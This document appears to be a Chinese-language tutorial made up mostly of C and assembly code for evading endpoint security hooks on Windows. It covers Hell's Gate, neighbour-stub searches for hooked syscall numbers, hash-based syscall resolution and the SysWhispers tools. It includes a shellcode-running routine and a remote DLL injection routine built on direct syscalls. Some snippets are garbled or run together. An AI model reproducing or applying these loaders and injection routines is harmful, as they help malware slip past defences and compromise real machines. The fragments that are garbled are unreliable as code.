.text:000000018009F600 4C 8B D1 mov r10, rcx ; NtCreateThread
.text:000000018009F603 B8 4E 00 00 00 mov eax, 4Eh ; 'N'
.text:000000018009F608 F6 04 25 08 03 FE 7F 01 test byte ptr ds:7FFE0308h, 1
.text:000000018009F610 75 03 jnz short loc_18009F615
.text:000000018009F610
.text:000000018009F612 0F 05 syscall ; Low latency system call
.text:000000018009F614 C3 retn
.text:000000018009F620 4C 8B D1 mov r10, rcx ; NtIsProcessInJob
.text:000000018009F623 B8 4F 00 00 00 mov eax, 4Fh ; 'O'
.text:000000018009F628 F6 04 25 08 03 FE 7F 01 test byte ptr ds:7FFE0308h, 1
.text:000000018009F630 75 03 jnz short loc_18009F635
.text:000000018009F630
.text:000000018009F632 0F 05 syscall ; Low latency system call
.text:000000018009F634 C3 retn
jmp xxxxxxx(hook函数地址)
。PTEB RtlGetThreadEnvironmentBlock() {
#if _WIN64
return (PTEB)__readgsqword(0x30);
#else
return (PTEB)__readfsdword(0x16);
#endif
}
INT wmain() {
// 获取PEB
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
// Get NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
BOOL GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory) {
// Get DOS header
PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if (pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return FALSE;
}// Get NT headers
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return FALSE;
}// Get the EAT
*ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress);
return TRUE;
}
typedef struct _VX_TABLE_ENTRY {
PVOID pAddress;
DWORD64 dwHash;
WORD wSystemCall;
} VX_TABLE_ENTRY, * PVX_TABLE_ENTRY;
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtCreateThreadEx;
VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, * PVX_TABLE;
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = 0xf5bd373480a6b89b;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;Table.NtCreateThreadEx.dwHash = 0x64dc7db288c5015f;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;Table.NtProtectVirtualMemory.dwHash = 0x858bcb1046fb6a37;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;Table.NtWaitForSingleObject.dwHash = 0xc6a2fa174e551bcb;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject))
return 0x1;
0x0f 0x05 syscall
,0xc3 ret
,正常函数不会是这样的,说明可能被hook。MOV R10, RCX
MOV RCX, <SSN>
mov r10, rcx
mov eax, <SSN>
syscall
BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
// 获取函数名
PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
// djb2 哈希算法
if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
// 赋值函数地址
pVxTableEntry->pAddress = pFunctionAddress;// 检测函数是否被hook(检查原有字节序列)
// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
// 0x0f 0x05 syscall
// check if syscall, in this case we are too far
if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
return FALSE;// check if ret, in this case we are also probaly too far
if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
return FALSE;// First opcodes should be :
// MOV R10, RCX
// MOV RCX, <syscall>
if (*((PBYTE)pFunctionAddress + cw) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
// 根据字节序列获取SSN,存储到pVxTableEntry中
BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
pVxTableEntry中->wSystemCall = (high << 8) | low;
break;
}cw++;
};
}
}return TRUE;
}
BOOL Payload(PVX_TABLE pVxTable) {
NTSTATUS status = 0x00000000;
// 存放shellcode
char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";// Allocate memory for the shellcode
PVOID lpAddress = NULL;
SIZE_T sDataSize = sizeof(shellcode);
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);// Write Memory
VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));// Change page permissions
ULONG ulOldProtect = 0;
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);// Create thread
HANDLE hHostThread = INVALID_HANDLE_VALUE;
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);// Wait for 1 seconds
LARGE_INTEGER Timeout;
Timeout.QuadPart = -10000000;
HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
status = HellDescent(hHostThread, FALSE, &Timeout);return TRUE;
}
/*--------------------------------------------------------------------
External functions' prototype.
--------------------------------------------------------------------*/
extern VOID HellsGate(WORD wSystemCall);
extern HellDescent();
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec)
// 数据段wSystemCall存放系统调用号
.data
wSystemCall DWORD 000h.code
// 给wSystemCall赋值SSN
HellsGate PROC
mov wSystemCall, 000h
mov wSystemCall, ecx
ret
HellsGate ENDP
// 手搓syscall
HellDescent PROC
mov r10, rcx
mov eax, wSystemCallsyscall
ret
HellDescent ENDP
end
当我们所需要的 Nt 函数被 hook 时,它相邻的 Nt 函数可能没有被 hook,因为 EDR 不可能 hook 所有的 Nt 函数,总有一些不敏感的 Nt 函数没有被 hook,这样我们从我们需要的 Nt 函数出发,向上或者向下寻找,找到没有被 hook 的 Nt 函数,然后它的 SSN 加上或减去步数就得到了我们需要的 SSN。
.text:000000018009F600 4C 8B D1 mov r10, rcx ; NtCreateThread
.text:000000018009F620 4C 8B D1 mov r10, rcx ; NtIsProcessInJob
// 函数地址处不是原syscall字节序列,步入下文检测逻辑
......
//if hooked check the neighborhood to find clean syscall
// 0xe9 jmp
if (*((PBYTE)pFunctionAddress) == 0xe9) {
for (WORD idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
// 4C 8B D1 mov r10, rcx ; NtCreateThread
// B8 4E 00 00 00 mov eax, 4Eh ; 'N'
if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
pVxTableEntry->wSystemCall = (high << 8) | low - idx;return TRUE;
}
// check neighboring syscall up
if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
pVxTableEntry->wSystemCall = (high << 8) | low + idx;return TRUE;
}}
return FALSE;
}
if (*((PBYTE)pFunctionAddress + 3) == 0xe9) {
for (WORD idx = 1; idx <= 500; idx++) {
// check neighboring syscall down
if (*((PBYTE)pFunctionAddress + idx * DOWN) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + idx * DOWN) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + idx * DOWN) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + idx * DOWN) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + idx * DOWN) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + idx * DOWN) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * DOWN);
BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * DOWN);
pVxTableEntry->wSystemCall = (high << 8) | low - idx;
return TRUE;
}
// check neighboring syscall up
if (*((PBYTE)pFunctionAddress + idx * UP) == 0x4c
&& *((PBYTE)pFunctionAddress + 1 + idx * UP) == 0x8b
&& *((PBYTE)pFunctionAddress + 2 + idx * UP) == 0xd1
&& *((PBYTE)pFunctionAddress + 3 + idx * UP) == 0xb8
&& *((PBYTE)pFunctionAddress + 6 + idx * UP) == 0x00
&& *((PBYTE)pFunctionAddress + 7 + idx * UP) == 0x00) {
BYTE high = *((PBYTE)pFunctionAddress + 5 + idx * UP);
BYTE low = *((PBYTE)pFunctionAddress + 4 + idx * UP);
pVxTableEntry->wSystemCall = (high << 8) | low + idx;
return TRUE;
}}
return FALSE;
}
; Hell's Gate
; Dynamic system call invocation
;
; by smelly__vx (@RtlMateusz) and am0nsec (@am0nsec).data
wSystemCall DWORD 000h.code
HellsGate PROC
nop
mov wSystemCall, 000h
nop
mov wSystemCall, ecx
nop
ret
HellsGate ENDPHellDescent PROC
nop
mov rax, rcx
nop
mov r10, rax
nop
mov eax, wSystemCall
nop
syscall
ret
HellDescent ENDP
end
int GetSSN()
{
std::map<int, string> Nt_Table;
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return 1;
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
}
}
// 输出内核函数对应的系统调用号
int index = 0;
for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
cout << "index:" << index << ' ' << iter->second << endl;
index += 1;
}
}
#include <iostream>
#include <map>
#include <string>
#include <Windows.h>// 哈希函数,用于计算API名称的哈希值
unsigned long djb2(const char* str)
{
unsigned long hash = 5381;
int c;while (c = *str++)
hash = ((hash << 5) + hash) + c; // hash * 33 + creturn hash;
}// 修改后的GetSSN函数
int GetSSN(unsigned long api_hash)
{
std::map<int, string> Nt_Table;
PBYTE ImageBase;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;PPEB Peb = (PPEB)__readgsqword(0x60);
PLDR_MODULE pLoadModule;
// NTDLL
pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
ImageBase = (PBYTE)pLoadModule->BaseAddress;Dos = (PIMAGE_DOS_HEADER)ImageBase;
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
return -1; // 返回-1表示错误
Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);
File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof(DWORD)));
Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof(IMAGE_FILE_HEADER));
ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions));
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
if (djb2(pczFunctionName) == api_hash) {
// 找到匹配的API,返回其序号
return pwAddressOfNameOrdinales[cx];
}
}
return -1; // 如果没有找到匹配的API,返回-1
}int main()
{
// 假设我们要查找的API名称的哈希值
// 最好直接hash硬编码
unsigned long api_hash = djb2("NtCreateFile");
int syscall_number = GetSSN(api_hash);
if (syscall_number != -1)
{
std::cout << "Found syscall number: " << syscall_number << std::endl;
}
else
{
std::cout << "API not found." << std::endl;
}
return 0;
}
> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .\requirements.txt
> py .\syswhispers.py --help
# Export all functions with compatibility for all supported Windows versions (see example-output/).
py .\syswhispers.py --preset all -o syscalls_all# Export just the common functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --preset common -o syscalls_common# Export NtProtectVirtualMemory and NtWriteVirtualMemory with compatibility for all versions.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem# Export all functions with compatibility for Windows 7, 8, and 10.
py .\syswhispers.py --versions 7,8,10 -o syscalls_78X
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls , , ,_ /_ . , ,_ _ ,_ ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
_/_ /
(/ / @Jackson_T, 2019SysWhispers: Why call the kernel when you can whisper?
Complete! Files written to:
syscalls.asm
syscalls.h
#include <Windows.h> void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Import the generated header.void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);EXTERN_C NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID * BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);EXTERN_C NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN SIZE_T NumberOfBytesToWrite,
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
NtAllocateVirtualMemory PROC
mov rax, gs:[60h] ; Load PEB into RAX.
NtAllocateVirtualMemory_Check_X_X_XXXX: ; Check major version.
cmp dword ptr [rax+118h], 5
je NtAllocateVirtualMemory_SystemCall_5_X_XXXX
cmp dword ptr [rax+118h], 6
je NtAllocateVirtualMemory_Check_6_X_XXXX
cmp dword ptr [rax+118h], 10
je NtAllocateVirtualMemory_Check_10_0_XXXX
jmp NtAllocateVirtualMemory_SystemCall_Unknown
.......
NtAllocateVirtualMemory_Check_10_0_XXXX: ; Check build number for Windows 10.
cmp word ptr [rax+120h], 10240
je NtAllocateVirtualMemory_SystemCall_10_0_10240
cmp word ptr [rax+120h], 10586
je NtAllocateVirtualMemory_SystemCall_10_0_10586
cmp word ptr [rax+120h], 14393
je NtAllocateVirtualMemory_SystemCall_10_0_14393
cmp word ptr [rax+120h], 15063
.........
cmp word ptr [rax+120h], 19043
je NtAllocateVirtualMemory_SystemCall_10_0_19043
jmp NtAllocateVirtualMemory_SystemCall_Unknown
NtAllocateVirtualMemory_SystemCall_5_X_XXXX: ; Windows XP and Server 2003
mov eax, 0015h
jmp NtAllocateVirtualMemory_Epilogue
........
NtAllocateVirtualMemory_SystemCall_10_0_19043: ; Windows 10.0.19043 (21H1)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_Unknown: ; Unknown/unsupported version.
ret
NtAllocateVirtualMemory_Epilogue:
mov r10, rcx
syscall
ret
NtAllocateVirtualMemory ENDP
py .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls . ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021SysWhispers2: Why call the kernel when you can whisper?
Complete! Files written to:
syscalls.h
syscalls.c
syscallsstubs.std.x86.asm
syscallsstubs.rnd.x86.asm
syscallsstubs.std.x86.nasm
syscallsstubs.rnd.x86.nasm
syscallsstubs.std.x86.s
syscallsstubs.rnd.x86.s
syscallsinline.std.x86.h
syscallsinline.rnd.x86.h
syscallsstubs.std.x64.asm
syscallsstubs.rnd.x64.asm
syscallsstubs.std.x64.nasm
syscallsstubs.rnd.x64.nasm
syscallsstubs.std.x64.s
syscallsstubs.rnd.x64.s
syscallsinline.std.x64.h
syscallsinline.rnd.x64.h
Random Syscall Jumps
技术,项目描述中有写。i686-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x86.s -DRANDSYSCALL -Wall -o example.exe
x86_64-w64-mingw32-gcc main.c syscalls.c syscallsstubs.rnd.x64.s -DRANDSYSCALL -Wall -o example.exe
#include <Windows.h>
#include "syscalls.h" // Import the generated header.void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
NtAllocateVirtualMemory PROC
mov currentHash, 007952D37h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtAllocateVirtualMemory ENDPNtWriteVirtualMemory PROC
mov currentHash, 0D642DCD6h ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtWriteVirtualMemory ENDPNtCreateThreadEx PROC
mov currentHash, 04AB11E6Ch ; Load function hash into global variable.
call WhisperMain ; Resolve function hash into syscall number and make the call
NtCreateThreadEx ENDP
SW2_GetSyscallNumber
和SW2_GetRandomSyscallAddress。
.code
EXTERN SW2_GetSyscallNumber: PROC
EXTERN SW2_GetRandomSyscallAddress: PROCWhisperMain PROC
pop rax
mov [rsp+ 8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, currentHash
call SW2_GetSyscallNumber
mov dword ptr [syscallNumber], eax ; Save the syscall number
xor rcx, rcx
call SW2_GetRandomSyscallAddress ; Get a random syscall address
mov qword ptr [syscallAddress], rax ; Save the random syscall address
xor rax, rax
mov eax, syscallNumber
add rsp, 28h
mov rcx, [rsp+ 8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
pop qword ptr [returnAddress] ; Save the original return address
call qword ptr [syscallAddress] ; Call the random syscall instruction
push qword ptr [returnAddress] ; Restore the original return address
ret
WhisperMain ENDP
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
// Ensure SW2_SyscallList is populated.
if (!SW2_PopulateSyscallList()) return -1;for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
{
if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
{
return i;
}
}return -1;
}
typedef struct _SW2_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;typedef struct _SW2_SYSCALL_LIST
{
DWORD Count;
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
#if defined(_WIN64)
PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60);
#else
PSW2_PEB Peb = (PSW2_PEB)__readfsdword(0x30);
#endif
PSW2_PEB_LDR_DATA Ldr = Peb->Ldr;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PVOID DllBase = NULL;// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
// in the list, so it's safer to loop through the full list and find it.
PSW2_LDR_DATA_TABLE_ENTRY LdrEntry;
for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
{
DllBase = LdrEntry->DllBase;
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (VirtualAddress == 0) continue;ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
// If this is NTDLL.dll, exit loop.
PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break;
}
UINT64 GetModuleAddress(LPWSTR moduleName) {
PPEB peb = (PPEB)__readgsqword(X64_PEB_OFFSET);
LIST_ENTRY* ModuleList = NULL;if (!moduleName)
return 0;for (LIST_ENTRY* pListEntry = peb->LoaderData->InMemoryOrderModuleList.Flink;
pListEntry != &peb->LoaderData->InMemoryOrderModuleList;
pListEntry = pListEntry->Flink) {PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (wcsstr(pEntry->FullDllName.Buffer, moduleName)) {
return (UINT64)pEntry->DllBase;
}
}
return 0;
}
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);// Populate SW2_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
do
{
PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);// Is this a system call?
if (*(USHORT*)FunctionName == 'wZ')
{
Entries[i].Hash = SW2_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];i++;
if (i == SW2_MAX_ENTRIES) break;
}
} while (--NumberOfNames);// Save total number of system calls found.
SW2_SyscallList.Count = i;// Sort the list by address in ascending order.
for (i = 0; i < SW2_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW2_SYSCALL_ENTRY TempEntry;TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
}
}
}
#ifdef RANDSYSCALL
#ifdef _WIN64
EXTERN_C uint64_t SW2_GetRandomSyscallAddress(void)
#else
EXTERN_C DWORD SW2_GetRandomSyscallAddress(int callType)
#endif
{
int instructOffset = 0;
int instructValue = 0;
#ifndef _WIN64
// Wow64
if (callType == 0)
{
instructOffset = 0x05;
instructValue = 0x0E8;
}
// x86
else if (callType == 1)
{
instructOffset = 0x05;
instructValue = 0x0BA;
}
#else
instructOffset = 0x12;
instructValue = 0x0F;
#endif
srand(time(0));
do
{
int randNum = (rand() % (SW2_SyscallList.Count + 1));
